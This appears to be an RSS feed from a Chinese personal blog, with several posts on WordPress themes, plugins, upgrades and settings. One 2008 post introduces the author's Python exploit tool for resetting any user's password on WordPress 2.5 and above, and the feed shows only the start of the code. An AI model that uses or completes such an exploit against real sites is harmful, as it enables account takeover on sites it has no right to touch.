<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>可可熊的窝 &#187; wordpress</title>
	<atom:link href="http://cocobear.info/blog/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://cocobear.info/blog</link>
	<description>K.I.S.S</description>
	<lastBuildDate>Sat, 10 Dec 2011 16:11:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>博客换了个主题</title>
		<link>http://cocobear.info/blog/2008/11/06/change-theme-for-blog/</link>
		<comments>http://cocobear.info/blog/2008/11/06/change-theme-for-blog/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 04:27:32 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[theme]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=345</guid>
		<description><![CDATA[前天上网的时候无意中搜到一个博客，发现那个主题挺不错，很简洁，很符合俺的胃口，于是昨天花了一天的时间去修改这个主题，把它改成了黑色的，其它细节地方也修改了一下，目前的感觉还不错，我测试了Firefox,Opera,IE,基本都没问题，只有IE里面留言时那个&#8221;电邮&#8221;那一栏的颜色有问题，实在是搞不明白，不管了，还是推荐大家使用Opera/Firefox浏览。 有什么好的建议欢迎提出来，俺再改改。好久没动CSS这东西了，发现改这个东西好痛苦，不仅要考虑显示器的分辨率，还要考虑不同的浏览器，太麻烦了！！ 俺博客的新口号： K.I.S.S Keep It Simple, Stupid. &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;简单的分隔线&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 记个通过使用dreamhost作为加密代理的方法: 首先使用ssh连接dreamhost主机： ssh -CND 9999 cocobear@cocobear.info 然后在浏览器里设置使用sock5代理，填入127.0.0.0 ,9999。 这样所有的HTTP请求都经过ssh加密了，不怕GFW了，不过速度同时也慢下来了。 详细的内容见这里]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/11/06/change-theme-for-blog/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>介绍一个WordPress的插件&#8211;Simple Tags</title>
		<link>http://cocobear.info/blog/2008/10/24/wordpress-plugins-simple-tags/</link>
		<comments>http://cocobear.info/blog/2008/10/24/wordpress-plugins-simple-tags/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 01:48:03 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[互联网]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=317</guid>
		<description><![CDATA[博客里文章多了以后要找到一篇文章就不太方便了，有时候自己找以前写过的东西还得用google，而且别人看起来也没有清晰的线索。这时候使用Tags就有很大的好处，不过由于以前WordPress写博客的时候还没有Tags，新版本的WordPress才加入了Tags，所以为以前大量没有Tags的文章添加Tags就成为一件极为麻烦的事，今天我手动插了几个就不耐烦了，后来找到一个不错的WordPress插件－－Simple Tags，通过这个插件可以很方便的对Tags进行批量的修改，删除，添加， 还可以为文章自动添加Tags，在你博客内容越来越多的时候这个插件会很大的帮助你。]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/10/24/wordpress-plugins-simple-tags/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>wordpress漏洞利用-更改任意用户的密码</title>
		<link>http://cocobear.info/blog/2008/09/09/wordpress-change-any-user-passwd/</link>
		<comments>http://cocobear.info/blog/2008/09/09/wordpress-change-any-user-passwd/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 09:06:27 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[编程相关]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=311</guid>
		<description><![CDATA[最近wordpress又出现了一个漏洞，详细描述见这里:http://milw0rm.com/exploits/6397，关于漏洞的形成原因这里:http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/有很好的描述，主要原因是由于wordpress对用户名的检查不足，使得过长的用户名可以注册，从而产生这个问题。 贴一下我写的利用工具，针对2.5及以上版本，可以更改（这里用重置更恰当）任意用户的密码，当然前提是这个wordpress开放了注册： #!/usr/bin/env python #coding=utf-8 #author: cocobear.cn@gmail.com #website:http://cocobear.info &#34;&#34;&#34; exploit description: http://milw0rm.com/exploits/6397 influencing: wordpress 2.5 and above This short code can change any user's password. &#34;&#34;&#34; import urllib,cookelib,urllib2,httplib import sys import poplib #all you need to do is change this two lines: base_url = &#34;http://cocobear.info/blog/&#34; hack_user= &#34;cocobear&#34; def init(): cookie = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) [...]]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/09/09/wordpress-change-any-user-passwd/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>升级到了wordpress 2.5</title>
		<link>http://cocobear.info/blog/2008/03/31/update-to-wordpress-25/</link>
		<comments>http://cocobear.info/blog/2008/03/31/update-to-wordpress-25/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 05:37:10 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[互联网]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=252</guid>
		<description><![CDATA[wordpress2.5正式版已经发布了，在后台的界面有挺大的变化，感觉设计还不错，就升了下级. 换了个E680的手机，俺也没事玩玩智能手机，还是Linux系统，没事俺就去折腾得写手机程序去。就可惜电池不太耐用，上网的话没多久就没电了，要是这手机电池能和俺的1116相比……哈哈 今年陕西招很多警察叔叔，俺也报了个名，说不定俺以后也是警察叔叔了，哈哈]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/03/31/update-to-wordpress-25/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>wordpress添加查询留言者IP地址功能</title>
		<link>http://cocobear.info/blog/2007/06/22/wordpress%e6%b7%bb%e5%8a%a0%e6%9f%a5%e8%af%a2%e7%95%99%e8%a8%80%e8%80%85ip%e5%9c%b0%e5%9d%80%e5%8a%9f%e8%83%bd/</link>
		<comments>http://cocobear.info/blog/2007/06/22/wordpress%e6%b7%bb%e5%8a%a0%e6%9f%a5%e8%af%a2%e7%95%99%e8%a8%80%e8%80%85ip%e5%9c%b0%e5%9d%80%e5%8a%9f%e8%83%bd/#comments</comments>
		<pubDate>Fri, 22 Jun 2007 11:43:39 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[互联网]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=143</guid>
		<description><![CDATA[在Wordpress后台管理中，留言管理里面可以看到访问者的IP信息，不过可惜的Wordpress默认连接到的网站查询的是网站信息，这一点对于大部分的用户是没用的，不过如果把这个改为IP地址查询的话就比较有用了。 &#160; 我用grep查询了wp-admin目录下的所有文件，有以下几个文件包含了 admin-functions.php edit.php edit-comments.php moderation.php &#160; “http://ws.arin.net/cgi-bin/whois.pl?queryinput=”这个字符串。把这些文件中的字符串替换为“http://www.ip.cn/ip.php?q=”就可以了，如果你还想要新窗口打开，那么在前边加上“target=&#8221;_black&#8221;”。不过经过我的测试似乎只修改admin-functions.php就可以了。 上面这几个不同的文件分别代表在不同页面的IP链接地址，比如moderation.php这个就是指待通过页面的IP地址链接，还是把这几个文件都改一下为好。]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2007/06/22/wordpress%e6%b7%bb%e5%8a%a0%e6%9f%a5%e8%af%a2%e7%95%99%e8%a8%80%e8%80%85ip%e5%9c%b0%e5%9d%80%e5%8a%9f%e8%83%bd/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>博客被迫升级到2.2</title>
		<link>http://cocobear.info/blog/2007/06/10/%e5%8d%9a%e5%ae%a2%e8%a2%ab%e8%bf%ab%e5%8d%87%e7%ba%a7%e5%88%b022/</link>
		<comments>http://cocobear.info/blog/2007/06/10/%e5%8d%9a%e5%ae%a2%e8%a2%ab%e8%bf%ab%e5%8d%87%e7%ba%a7%e5%88%b022/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 19:18:31 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[互联网]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=131</guid>
		<description><![CDATA[发现最近几天没有一条留言,觉得有点奇怪,虽然这几天只写了两篇,但也不至于一个留言也没有，正打算看看是怎么回事，就收到了王聪的邮件，说我的博客不能留言了。 我赶快自己试了一下，果然不行了，在服务器上找了一下最近几天修改的文件，但都和wordpress的文件无关，试着换了一个主题，结果还是一样，于是把mysql的数据在服务器上备份了一下，开始着手解决。 正好wordpress 2.2已经出了一段时间，就下了一个，试着升级，但一直有错误，就先放弃了，重要的是先解决留言的问题，于是重新装了一个以前用的版本，然后导入数据库，让我奇怪的是这样竟然还不能留言，真是搞不明白了，留言提交后一直为空白页面。 只好用wordpress中的export 把博客内容全部导出，然后在新建的2.2中使用import导入内容。这一步很顺利，只有友情链接没有导入，幸好我的不是很多，可以自己手动添加。接下来就是换回以前的主题，装好常用的插件，修改一些博客的设置，经过几个小时的努力，现在博客已经完全恢复以前的面貌，希望不会有什么隐含的错误出现。 其实wordpress 2.2改进的地方不是很大，本来没有打算升级的，但出了这样的状况，被逼无耐，只好升级了。]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2007/06/10/%e5%8d%9a%e5%ae%a2%e8%a2%ab%e8%bf%ab%e5%8d%87%e7%ba%a7%e5%88%b022/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>关于WordPress</title>
		<link>http://cocobear.info/blog/2007/04/09/%e5%85%b3%e4%ba%8ewordpress/</link>
		<comments>http://cocobear.info/blog/2007/04/09/%e5%85%b3%e4%ba%8ewordpress/#comments</comments>
		<pubDate>Mon, 09 Apr 2007 06:10:10 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[互联网]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/wordpress/?p=56</guid>
		<description><![CDATA[设置一博客里的一些东西，因为没有使用中文语言包（加了中文语言包zh_CN.mo，也修改了相关的语言定义，但仍然是这样的。），有些东西看起来挺不舒服的，毕竟都是给写方块字人看的，所以改了下时区，以及时间，日期的显示格式，不过后台还是英文风格的，无所谓了，毕竟只是给自己看的东西。 首先是全局设置里的： Times in the weblog should differ by:+8 /*这个默认是-6*/ Default date format:Y年m月j日 /*看起来舒服*/ Default time format：H:i /*偶电脑也是这样设置的*/ 关于时间显示格式可以参考这篇文章,当然你也可以参考WordPress函数说明。]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2007/04/09/%e5%85%b3%e4%ba%8ewordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

